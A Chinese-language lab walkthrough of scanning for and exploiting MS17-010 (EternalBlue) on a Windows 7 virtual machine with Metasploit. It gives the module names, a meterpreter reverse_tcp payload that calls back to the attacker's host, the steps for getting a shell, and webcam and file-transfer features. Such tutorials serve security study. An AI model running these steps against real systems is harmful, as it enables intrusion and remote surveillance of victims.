⚠️ 安全声明:本实验及相关操作均在内网和靶机(虚拟机环境中的内网和靶机)中完成,与外界(物理机)完全隔离,仅用于安全研究与学习,严禁用于任何非法用途。
1. 引言
MS17-010(永恒之蓝)是 Windows 系统上一个著名的远程代码执行漏洞,攻击者可以利用该漏洞远程控制目标主机。本文将使用 Kali Linux 中的 Metasploit 框架,演示如何扫描靶机是否存在 MS17-010 漏洞,并利用该漏洞完成渗透攻击。
2. 扫描靶机是否存在 MS17-010 漏洞
第一步:启动 Kali 攻击机并进入 MSF 控制台
打开 VMware,启动 Kali 攻击机,进入系统后打开终端,输入sudo su切换至 root 权限,再执行msfconsole进入 MSF 控制台(每次启动的页面都会有所不同)。
如启动 msfconsole 遇到报错:
Database not connected or cache not built, using slow search解决方案:输入msfdb init再输入一次msfconsole。
第二步:查找 MS17-010 漏洞相关脚本
使用search命令按关键字查找相关模块,命令:search ms17-010。
辅助说明:
exploit为漏洞攻击模块;auxiliary为检测漏洞是否存在模块。
第三步:使用扫描脚本检测漏洞
使用上述auxiliary/scanner/smb/smb_ms17_010扫描模块对网络上的主机进行扫描,分析出存在该漏洞的主机信息。
第四步:查看脚本参数
使用命令show options或者options查看该脚本需要填写的参数。
参数解释:
Module options:辅助设置;Name:参数名称;Current Setting:目前设置情况;Required:参数是否必选;Description:参数描述信息;RHOSTS:靶机的 IP 地址;RPORT:靶机的端口号;SMBPass、SMBUser:SMB 服务的用户名和密码。
第五步:设置脚本参数
设置上述脚本的参数,使用命令set设置参数、命令unset取消参数设置。如需查看必选参数是否存在未设置的情况,可使用命令show missing。
第六步:运行脚本查看情况
使用命令run或exploit开始运行脚本查看情况。
3. 使用攻击模块渗透靶机
第一步:选择攻击模块
使用命令back回退一级但不退出 msf,然后使用exploit/windows/smb/ms17_010_eternalblue进行验证是否存在永恒之蓝漏洞,命令:use 0或者use exploit/windows/smb/ms17_010_eternalblue。
第二步:查看所有攻击载荷
使用命令show payloads查看所有的攻击载荷脚本(约 73 条)。
第三步:设置攻击载荷
使用命令set payload windows/meterpreter/reverse_tcp与set命令设置攻击载荷与参数。
第四步:设置靶机与本地参数并运行
使用set命令设置远程靶机 IP 地址参数(RHOSTS)和本地 IP 地址参数(LHOST),使用命令run或exploit开始运行脚本查看情况。
运行了exploit命令之后,我们开启了一个 reverse TCP 监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符meterpreter>出现,即代表攻击成功。
PS:靶机的 IP 地址来自 VMWare 安装的 Win7 系统,输入
ipconfig获取主机的 IP 地址。
第五步:切换到目标主机 Shell
我们输入shell即可切换到目标主机的 Windows shell,即可控制靶机,例如输入ipconfig即可查询靶机的 IP 地址。要想从目标主机 shell 退出到 meterpreter,我们只需输入exit。
第六步:Meterpreter 详细使用方法
Meterpreter 详细的使用方法可以使用help命令查询,例如需要上传下载文件、调用摄像头进行拍照等,可以看具体参数代表的含义。
4. 附录:下载 Win7 镜像操作系统并在虚拟机中安装
Win7 镜像下载地址:https://msdn.itellyou.cn/
下载链接:
ed2k://|file|cn_windows_7_enterprise_x64_dvd_x15-70741.iso|3203516416|876DCF115C2EE28D74B178BE1A84AB3B|/虚拟机安装 Win7 的操作步骤:
- 链接 1:https://blog.csdn.net/qq_63928796/article/details/126465689(优先看)
- 链接 2:https://blog.csdn.net/weixin_43872190/article/details/119853889
⚠️ 安全声明:本实验及相关操作均在内网和靶机(虚拟机环境中的内网和靶机)中完成,与外界(物理机)完全隔离,仅用于安全研究与学习,严禁用于任何非法用途。